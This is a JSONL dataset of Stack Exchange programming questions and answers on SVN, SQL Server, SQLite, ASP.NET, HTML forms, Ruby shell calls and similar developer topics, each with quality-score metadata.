{"id": "hf_d63da9f9eaa5", "question": "<p>What do the result codes in SVN mean? I need a quick reference.</p>\n", "question_body": "", "answer": "For additional details see the SVNBook:\n\"Status of working copy files and directories\"\n.\nThe common statuses:\nU\n: Working file was updated\nG\n: Changes on the repo were automatically merged into the working copy\nM\n: Working copy is modified\nC\n: This file conflicts with the version in the repo\n?\n: This file is not under version control\n!\n: This file is under version control but is missing or incomplete\nA\n: This file will be added to version control (after commit)\nA+\n: This file will be moved (after commit)\nD\n: This file will be deleted (after commit)\nS\n: This signifies that the file or directory has been switched from the path of the rest of the working copy (using svn switch) to a\n  branch\nI\n: Ignored\nX\n: External definition\n~\n: Type changed\nR\n: Item has been replaced in your working copy. This means the file was scheduled for deletion, and then a new file with the same name was scheduled for addition in its place.\nL\n: Item is locked\nE\n: Item existed, as it would have been created, by an svn update.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.599733"}
{"id": "hf_c9f67984b818", "question": "<p>How do I create a branch in SVN?</p>\n", "question_body": "", "answer": "Create a new branch using the\n```\nsvn copy\n```\ncommand as follows:\n```\n```\n$ svn copy svn+ssh://host.example.com/repos/project/trunk \\\n           svn+ssh://host.example.com/repos/project/branches/NAME_OF_BRANCH \\\n      -m \"Creating a branch of project\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.624511"}
{"id": "hf_7d5025d3011a", "question": "<p>As a novice in practicing test-driven development, I often end up in a quandary as to how to unit test persistence to a database.</p>\n\n<p>I know that technically this would be an integration test (not a unit test), but I want to find out the best strategies for the following:</p>\n\n<ol>\n<li>Testing queries. </li>\n<li>Testing inserts. How do I know that the insert that has gone wrong if it fails? I can test it by inserting and then querying, but how can I know that the query wasn't wrong? </li>\n<li>Testing updates and deletes -- same as testing inserts</li>\n</ol>\n\n<p>What are the best practices for doing these?</p>\n\n<hr>\n\n<p>Regarding testing SQL: I am aware that this could be done, but if I use an O/R Mapper like NHibernate, it attaches some naming warts in the aliases used for the output queries, and as that is somewhat unpredictable I'm not sure I could test for that.</p>\n\n<p>Should I just, abandon everything and simply trust NHibernate? I'm not sure that's prudent.</p>\n", "question_body": "", "answer": "You do the unit testing by mocking out the database connection. This way, you can build scenarios where specific queries in the flow of a method call succeed or fail. I usually build my mock expectations so that the actual query text is ignored, because I really want to test the fault tolerance of the method and how it handles itself -- the specifics of the SQL are irrelevant to that end.\nObviously this means your test won't actually verify that the method\nworks\n, because the SQL may be wrong. This is where integration tests kick in. For that, I expect someone else will have a more thorough answer, as I'm just beginning to get to grips with those myself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.649101"}
{"id": "hf_0e146b440a7d", "question": "<p>When looking beyond the <a href=\"https://en.wikipedia.org/wiki/Rapid_application_development\" rel=\"noreferrer\">RAD</a> (drag-drop and configure) way of building user interfaces that many tools encourage you are likely to come across three design patterns called <a href=\"http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller\" rel=\"noreferrer\">Model-View-Controller</a>, <a href=\"http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter\" rel=\"noreferrer\">Model-View-Presenter</a> and <a href=\"http://en.wikipedia.org/wiki/Model_View_ViewModel\" rel=\"noreferrer\">Model-View-ViewModel</a>. My question has three parts to it:</p>\n\n<ol>\n<li>What issues do these patterns address?</li>\n<li>How are they similar?</li>\n<li>How are they different?</li>\n</ol>\n", "question_body": "", "answer": "Both of these frameworks aim to seperate concerns - for instance, interaction with a data source (model), application logic (or turning this data into useful information) (Controller/Presenter) and display code (View).  In some cases the model can also be used to turn a data source into a higher level abstraction as well.  A good example of this is the\nMVC Storefront project\n.\nThere is a discussion\nhere\nregarding the differences between MVC vs MVP.\nThe distinction made is that in an MVC application traditionally has the view and the controller interact with the model, but not with each other.\nMVP designs have the Presenter access the model and interact with the view.\nHaving said that, ASP.NET MVC is by these definitions an MVP framework because the Controller accesses the Model to populate the View which is meant to have no logic (just  displays the variables provided by the Controller).\nTo perhaps get an idea of the ASP.NET MVC distinction from MVP, check out\nthis MIX presentation\nby Scott Hanselman.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.686244"}
{"id": "hf_e09f37d889f5", "question": "<p>I want to get the MD5 Hash of a string value in SQL Server 2005. I do this with the following command:</p>\n\n<pre><code>SELECT HashBytes('MD5', 'HelloWorld')\n</code></pre>\n\n<p>However, this returns a VarBinary instead of a VarChar value. If I attempt to convert <code>0x68E109F0F40CA72A15E05CC22786F8E6</code> into a VarChar I get <code>há ðô§*à\\Â'†øæ</code> instead of <code>68E109F0F40CA72A15E05CC22786F8E6</code>.</p>\n\n<p>Is there any SQL-based solution?</p>\n\n<p><strong><a href=\"https://stackoverflow.com/questions/2120/#2382\">Yes</a></strong></p>\n", "question_body": "", "answer": "I have found the solution else where:\n```\n```\nSELECT SUBSTRING(master.dbo.fn_varbintohexstr(HashBytes('MD5', 'HelloWorld')), 3, 32)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.723945"}
{"id": "hf_dc15bf4f5f26", "question": "<p><code>Checkboxes</code> in <code>HTML</code> forms don't have implicit <em>labels</em> with them. Adding an explicit label (some text) next to it doesn't toggle the <code>checkbox</code>.</p>\n\n<p><strong>How do I make a checkbox toggle from clicking on the text label as well?</strong></p>\n", "question_body": "", "answer": "If you correctly markup your HTML code, there is no need for javascript. The following code will allow the user to click on the label text to tick the checkbox.\n```\n```\n<label for=\"surname\">Surname</label>\n<input type=\"checkbox\" name=\"surname\" id=\"surname\" />\n```\n```\nThe\nfor\nattribute on the label element links to the\nid\nattribute on the input element and the browser does the rest.\nThis has been testing to work in:\nIE6\nIE7\nFirefox", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.747875"}
{"id": "hf_c4eddd407fb7", "question": "<p>I have come across a lot of optimization tips which say that you should mark your classes as sealed to get extra performance benefits.</p>\n\n<p>I ran some tests to check the performance differential and found none. Am I doing something wrong? Am I missing the case where sealed classes will give better results?</p>\n\n<p>Has anyone run tests and seen a difference?</p>\n\n<p>Help me learn :)</p>\n", "question_body": "", "answer": "The JITter will sometimes use non-virtual calls to methods in sealed classes since there is no way they can be extended further.\nThere are complex rules regarding calling type, virtual/nonvirtual, and I don't know them all so I can't really outline them for you, but if you google for sealed classes and virtual methods you might find some articles on the topic.\nNote that any kind of performance benefit you would obtain from this level of optimization should be regarded as last-resort, always optimize on the algorithmic level before you optimize on the code-level.\nHere's one link mentioning this:\nRambling on the sealed keyword", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.771927"}
{"id": "hf_72dd91e138a0", "question": "<p>Can a LINQ enabled app run on a machine that only has the .NET 2.0 runtime installed?</p>\n\n<p>In theory, LINQ is nothing more than syntactic sugar, and the resulting IL code should look the same as it would have in .NET 2.0.</p>\n\n<p>How can I write LINQ without using the .NET 3.5 libraries? Will it run on .NET 2.0?</p>\n", "question_body": "", "answer": "No, because while you thought LINQ is really just syntactic sugar, it actually heavily used expression trees -- a feature absent in .NET 2.0.\nThat being said .NET 3.5 only builds up on top of .NET 2.0, and that's the reason why the IL doesn't look \"different\" or \"special\".\nI do not see a reason why you shouldn't just install the .NET 3.5 Framework. Everything .NET 2.0 will work fine on it, promise :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.795813"}
{"id": "hf_6fd9afc6ca9e", "question": "<p>Is there a way to create a <code>JButton</code> with your own button graphic and not just with an image inside the button? </p>\n\n<p>If not, is there another way to create a custom <code>JButton</code> in java?</p>\n", "question_body": "", "answer": "I haven't done SWING development since my early CS classes but if it wasn't built in you could just inherit\n```\njavax.swing.AbstractButton\n```\nand create your own. Should be pretty simple to wire something together with their existing framework.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.843593"}
{"id": "hf_a120506c4a9e", "question": "<p>I'm currently working on an application with a frontend written in Adobe Flex 3. I'm aware of <a href=\"http://code.google.com/p/as3flexunitlib/\" rel=\"noreferrer\">FlexUnit</a> but what I'd really like is a unit test runner for Ant/NAnt and a runner that integrates with the Flex Builder IDE (AKA Eclipse). Does one exist? </p>\n\n<p>Also, are there any other resources on how to do Flex development \"the right way\" besides the <a href=\"http://labs.adobe.com/wiki/index.php/Cairngorm\" rel=\"noreferrer\">Cairngorm microarchitecture</a> example?</p>\n", "question_body": "", "answer": "The\ndpUint\ntesting framework has a test runner built with AIR which can be integrated with a build script.\nThere is also my\nFlexUnit\nautomation kit which does more or less the same for FlexUnit. It has an Ant macro that makes it possible to run the tests as a part of an Ant script, for example:\n```\n```\n<target name=\"run-tests\" depends=\"compile-tests\">\n  <flexunit swf=\"${build.home}/tests.swf\" failonerror=\"true\"/>\n</target>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.904259"}
{"id": "hf_0d391384e26f", "question": "<p>How do I call shell commands from inside of a Ruby program? How do I then get output from these commands back into Ruby?</p>\n", "question_body": "", "answer": "I'm definitely not a Ruby expert, but I'll give it a shot:\n```\n```\n$ irb \nsystem \"echo Hi\"\nHi\n=> true\n```\n```\nYou should also be able to do things like:\n```\n```\ncmd = 'ls'\nsystem(cmd)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.928916"}
{"id": "hf_d82a2cb6404f", "question": "<p>How do I rewrite a URL in ASP.NET?</p>\n<p>I would like users to be able to go to</p>\n<pre><code>http://www.website.com/users/smith\n</code></pre>\n<p>instead of</p>\n<pre><code>http://www.website.com/?user=smith\n</code></pre>\n", "question_body": "", "answer": "Try the Managed Fusion Url Rewriter and Reverse Proxy:\nhttp://urlrewriter.codeplex.com\nThe rule for rewriting this would be:\n```\n```\n# clean up old rules and forward to new URL\nRewriteRule ^/?user=(.*)  /users/$1 [NC,R=301]\n\n# rewrite the rule internally\nRewriteRule ^/users/(.*)  /?user=$1 [NC,L]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:25.978040"}
{"id": "hf_2e29ba5edf2d", "question": "<p>I want to be able to do:</p>\n\n<pre><code>For Each thing In things\nEnd For\n</code></pre>\n\n<p>CLASSIC ASP - NOT .NET!</p>\n", "question_body": "", "answer": "Whatever your [things] are need to be written outside of VBScript.\nIn VB6,\nyou can write a Custom Collection class\n, then you'll need to compile to an ActiveX DLL and register it on your webserver to access it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.013063"}
{"id": "hf_83a585e75fde", "question": "<p>I see in the Stack Overflow footer that the SVN Revision number is displayed. Is this automated and if so, how does one implement it in ASP.NET?</p>\n\n<p><em>(Solutions in other languages are acceptable)</em></p>\n", "question_body": "", "answer": "Make sure that the file has s\n```\nvn:keywords \"Rev Id\"\n```\nand then put\n```\n$Rev$\n```\nsomewhere in there.\nSee\nthis question and the answers to it\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.036395"}
{"id": "hf_394d0a3aa8e3", "question": "<p>In the code below</p>\n\n<pre><code>For i = LBound(arr) To UBound(arr)\n</code></pre>\n\n<p>What is the point in asking using <code>LBound</code>? Surely that is always 0.</p>\n", "question_body": "", "answer": "Probably it comes from VB6. Because with\nOption Base\nstatement in VB6, you can alter the lower bound of arrays like this:\n```\n```\nOption Base 1\n```\n```\nAlso in VB6, you can alter the lower bound of a specific array like this:\n```\n```\nDim myArray(4 To 42) As String\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.086585"}
{"id": "hf_6cfce120a00d", "question": "<p>I've been able to find details on several self-balancing <code>BST</code>s through several sources, but I haven't found any good descriptions detailing which one is best to use in different situations (or if it really doesn't matter).  </p>\n\n<p>I want a <code>BST</code> that is optimal for storing in excess of ten million nodes. The order of insertion of the nodes is basically random, and I will never need to delete nodes, so insertion time is the only thing that would need to be optimized.  </p>\n\n<p>I intend to use it to store previously visited game states in a puzzle game, so that I can quickly check if a previous configuration has already been encountered.</p>\n", "question_body": "", "answer": "The two self-balancing\n```\nBST\n```\ns I'm most familiar with are red-black and\n```\nAVL\n```\n, so I can't say for certain if any other solutions are better, but as I recall, red-black has faster insertion and slower retrieval compared to\n```\nAVL\n```\n.\nSo if insertion is a higher priority than retrieval, red-black may be a better solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.167463"}
{"id": "hf_45b722f4d4f5", "question": "<p>What is actually the difference between these two casts?</p>\n<pre><code>SomeClass sc = (SomeClass)SomeObject;\nSomeClass sc2 = SomeObject as SomeClass;\n</code></pre>\n<p>Normally, shouldn't they both be explicit casts to the specified type?</p>\n", "question_body": "", "answer": "The former will throw an exception if the source type can't be cast to the target type. The latter will result in sc2 being a null reference, but no exception.\n[Edit]\nMy original answer is certainly the most pronounced difference, but as Eric Lippert\npoints out\n, it's not the only one. Other differences include:\nYou can't use the 'as' operator to cast to a type that doesn't accept 'null' as a value\nYou can't use 'as' to\nconvert\nthings, like numbers to a different representation (float to int, for example).\nAnd finally, using 'as' vs. the cast operator, you're also saying \"I'm not sure if this will succeed.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.200401"}
{"id": "hf_9dfb068db4e6", "question": "<p>Jeff mentioned the concept of 'Progressive Enhancement' when talking about using JQuery to write stackoverflow.</p>\n\n<p>After a quick Google, I found a couple of high-level discussions about it.</p>\n\n<p>Can anyone recommend a good place to start as a programmer.</p>\n\n<p>Specifically, I have been writing web apps in PHP and would like to use YUI to improve the pages I am writing, but a lot of them seem very JavaScript based, with most of the donkey work being done using JavaScript. To me, that seems a bit overkill, since viewing the site without Javascript will probably break most of it.</p>\n\n<p>Anyone have some good places to start using this idea, I don't really care about the language.</p>\n\n<p>Ideally, I would like to see how you start creating the static HTML first, and then adding the YUI (or whatever Ajax framework) to it so that you get the benefits of a richer client?</p>\n", "question_body": "", "answer": "As you've said\nTo me, that seems a bit overkill, since viewing the site without Javascript will probably break most of it.\nThis isn't progressive enhancement. Progressive enhancement is when the site works perfectly without JavaScript or CSS, and\nthen\nadding (layering) these extra technologies/code to increase the usability and functionality of the website.\nThe best example I can give is the tag input box on this website. With JavaScript turned off, it would still work allowing you to enter tags separated with a space. With JavaScript turned on, you get a drop down with suggestions of previous entries.\nThis is progressive enhancement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.224719"}
{"id": "hf_379954c66474", "question": "<p>I have 2 SQLite databases, one downloaded from a server (<code>server.db</code>), and one used as storage on the client (<code>client.db</code>). I need to perform various sync queries on the client database, using data from the server database.</p>\n\n<p>For example, I want to delete all rows in the <code>client.db tRole</code> table, and repopulate with all rows in the <code>server.db tRole</code> table.</p>\n\n<p>Another example, I want to delete all rows in the <code>client.db tFile</code> table where the <code>fileID</code> is not in the <code>server.db tFile</code> table.</p>\n\n<p>In SQL Server you can just prefix the table with the name of the database. Is there anyway to do this in SQLite using Adobe Air?</p>\n", "question_body": "", "answer": "It's possible to open multiple databases at once in SQLite, but it's doubtful if can be done when working from Flex/AIR. In the command line client you run\n```\nATTACH DATABASE path/to/other.db AS otherDb\n```\nand then you can refer to tables in that database as\n```\notherDb.tableName\n```\njust as in MySQL or SQL Server.\nTables in an attached database can be referred to using the syntax database-name.table-name.\nATTACH DATABASE documentation at sqlite.org", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.271322"}
{"id": "hf_e3e6bd0551f9", "question": "<p>How can I find out which node in a tree list the context menu has been activated? For instance right-clicking a node and selecting an option from the menu. </p>\n\n<p>I can't use the TreeViews' <code>SelectedNode</code> property because the node is only been right-clicked and not selected.</p>\n", "question_body": "", "answer": "You can add a mouse click event to the TreeView, then select the correct node using GetNodeAt given the mouse coordinates provided by the MouseEventArgs.\n```\n```\nvoid treeView1MouseUp(object sender, MouseEventArgs e)\n{\n    if(e.Button == MouseButtons.Right)\n    {\n        // Select the clicked node\n        treeView1.SelectedNode = treeView1.GetNodeAt(e.X, e.Y);\n\n        if(treeView1.SelectedNode != null)\n        {\n            myContextMenuStrip.Show(treeView1, e.Location);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.316978"}
{"id": "hf_17cbcaaab7e0", "question": "<p>How do you disable autocomplete in the major browsers for a specific input (or form field)?</p>\n", "question_body": "", "answer": "Firefox 30 ignores\n```\nautocomplete=\"off\"\n```\nfor passwords, opting to prompt the user instead whether the password should be stored on the client. Note the following\ncommentary\nfrom May 5, 2014:\nThe password manager\nalways\nprompts if it wants to save a password. Passwords are not saved without permission from the user.\nWe are the third browser to implement this change, after IE and Chrome.\nAccording to the\nMozilla Developer Network\ndocumentation, the Boolean form element attribute\n```\nautocomplete\n```\nprevents form data from being cached in older browsers.\n```\n```\n<input type=\"text\" name=\"foo\" autocomplete=\"off\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.338797"}
{"id": "hf_4e17fa3b6e10", "question": "<p>What are good libraries for C with datastructures like vectors, deques, stacks, hashmaps, treemaps, sets, etc.? Plain C, please, and platform-independent.</p>\n", "question_body": "", "answer": "As always, Google is your friend:\nhttp://nixbit.com/cat/programming/libraries/c-generic-library/\nspecifically:\nhttp://nixbit.com/cat/programming/libraries/generic-data-structures-library/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.359465"}
{"id": "hf_65f3f07d45d5", "question": "<p>A quick glance at the present-day internet would seem to indicate that Adobe Flash is the obvious choice for embedding video in a web page.  Is this accurate, or are they other effective choices?  Does the choice of ASP.NET as a platform influence this decision?</p>\n", "question_body": "", "answer": "Flash is certainly the most ubiquitous and portable solution.\n98% of browsers\nhave Flash installed.  Other alternatives are\nQuicktime\n,\nWindows Media Player\n, or even\nSilverlight\n(Microsoft's Flash competitor, which can be used to embed several video formats).\nI would recommend using Flash (and it's FLV video file format) for embedding your video unless you have very specific requirements as far as video quality or DRM.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.390415"}
{"id": "hf_ca565a9572fb", "question": "<p>Should be available to non-U.S. companies, easy to setup, reliable, cheap, customizable, etc. What are your experiences?</p>\n", "question_body": "", "answer": "I'd say paypal or\nGoogleCheckout\n.\nGoogle Checkout is either 2% + .20USD or free depending on how much you spend on adwords. If you spend a dollar on adWords, your next $10 on Google checkout is free.\nPaypal\nis 1.9% to 2.9% + $0.30 USD (2.9% for up to $30,000/month, 1.9% for more than $100,000/month)\nWithout factoring in the 20/30 cents, Paypal is just barely cheaper if you sell more than $100,000 per month, and spend nothing on adwords.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.411112"}
{"id": "hf_9378392dfc0d", "question": "<p>Any good recommendations for a platform agnostic (i.e. Javascript) grid control/plugin that will accept pasted Excel data and can emit Excel-compliant clipboard data during a Copy?</p>\n\n<p>I believe Excel data is formatted as CSV during \"normal\" clipboard operations.</p>\n\n<hr>\n\n<p><a href=\"http://dhtmlx.com/docs/products/dhtmlxGrid/\" rel=\"noreferrer\">dhtmlxGrid</a> looks promising, but the online demo's don't actually copy contents to my clipboard!</p>\n", "question_body": "", "answer": "Not an answer, but a warning: my company bought the 2007 Infragistics ASP.NET controls just for the Grid, and we regret that choice.\nThe quality of API is horrible (in our opinion at least), making it very hard to program against the grid (for example, inconsistent naming conventions, but this is just an inconvenience, we have complaints about the object model as well).\nSo I can't say that I know of a better option, I just know I will give a try to something else before paying for Infragistics products again (and the email support we got was horrible as well).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.454580"}
{"id": "hf_f68975ed7554", "question": "<p>Using SQL Server, how do I split a string so I can access item x?</p>\n\n<p>Take a string \"Hello John Smith\". How can I split the string by space and access the item at index 1 which should return \"John\"?</p>\n", "question_body": "", "answer": "You may find the solution in\nSQL User Defined Function to Parse a Delimited String\nhelpful (from\nThe Code Project\n).\nYou can use this simple logic:\n```\n```\nDeclare @products varchar(200) = '1|20|3|343|44|6|8765'\nDeclare @individual varchar(20) = null\n\nWHILE LEN(@products) > 0\nBEGIN\n    IF PATINDEX('%|%', @products) > 0\n    BEGIN\n        SET @individual = SUBSTRING(@products,\n                                    0,\n                                    PATINDEX('%|%', @products))\n        SELECT @individual\n\n        SET @products = SUBSTRING(@products,\n                                  LEN(@individual + '|') + 1,\n                                  LEN(@products))\n    END\n    ELSE\n    BEGIN\n        SET @individual = @products\n        SET @products = NULL\n        SELECT @individual\n    END\nEND\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.522426"}
{"id": "hf_3c0ccffd5d9c", "question": "<p>When writing a T-SQL script that I plan on re-running, often times I use temporary tables to store temporary data.  Since the temp table is created on the fly, I'd like to be able to drop that table only if it exists (before I create it).</p>\n\n<p>I'll post the method that I use, but I'd like to see if there is a better way.</p>\n", "question_body": "", "answer": "The OBJECT_ID function returns the internal object id for the given object name and type.  'tempdb..#t1' refers to the table #t1 in the tempdb database. 'U' is for user-defined table.\n```\n```\nIF OBJECT_ID('tempdb..#t1', 'U') IS NOT NULL\n  DROP TABLE #t1\n\nCREATE TABLE #t1\n(\n  id INT IDENTITY(1,1),\n  msg VARCHAR(255)\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.546026"}
{"id": "hf_6528887f86ce", "question": "<p>I know I need to have (although I don't know why) a <code>GROUP BY</code> clause on the end of a SQL query that uses any aggregate functions like <code>count</code>, <code>sum</code>, <code>avg</code>, etc:</p>\n\n<pre><code>SELECT count(userID), userName\nFROM users\nGROUP BY userName\n</code></pre>\n\n<p>When else would <code>GROUP BY</code> be useful, and what are the performance ramifications?</p>\n", "question_body": "", "answer": "Counting the number of times tags are used might be a google example:\n```\n```\nSELECT TagName, Count(*)\nAS TimesUsed\nFROM Tags\nGROUP BY TagName ORDER TimesUsed\n```\n```\nIf you simply want a distinct value of tags, I would prefer to use the\n```\nDISTINCT\n```\nstatement.\n```\n```\nSELECT DISTINCT TagName\nFROM Tags\nORDER BY TagName ASC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.594011"}
{"id": "hf_f0a51f38cba0", "question": "<p>I think most people know how to do this via the GUI (right click table, properties), but doing this in T-SQL totally rocks.</p>\n", "question_body": "", "answer": "```\nCREATE TABLE #tmpSizeChar (\n     table_name sysname ,\n     row_count int,\n     reserved_size varchar(50),\n     data_size varchar(50),\n     index_size varchar(50),\n     unused_size varchar(50))                              \n\nCREATE TABLE #tmpSizeInt (\n     table_name sysname ,\n     row_count int,\n     reserved_size_KB int,\n     data_size_KB int,\n     index_size_KB int,\n     unused_size_KB int)   \n\nSET NOCOUNT ON\nINSERT      #tmpSizeChar\nEXEC      sp_msforeachtable 'sp_spaceused ''?'''     \n\nINSERT INTO #tmpSizeInt (\n        table_name,\n        row_count,\n        reserved_size_KB,\n        data_size_KB,\n        index_size_KB,\n        unused_size_KB\n        )\nSELECT  [table_name],\n        row_count,\n        CAST(SUBSTRING(reserved_size, 0, PATINDEX('% %', reserved_size)) AS int)reserved_size,\n        CAST(SUBSTRING(data_size, 0, PATINDEX('% %', data_size)) AS int)data_size,\n        CAST(SUBSTRING(index_size, 0, PATINDEX('% %', index_size)) AS int)index_size,\n        CAST(SUBSTRING(unused_size, 0, PATINDEX('% %', unused_size)) AS int)unused_size\nFROM #tmpSizeChar   \n\n/*\nDROP TABLE #tmpSizeChar\nDROP TABLE #tmpSizeInt\n*/\n\nSELECT * FROM #tmpSizeInt\nORDER BY reserved_size_KB DESC\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.641691"}
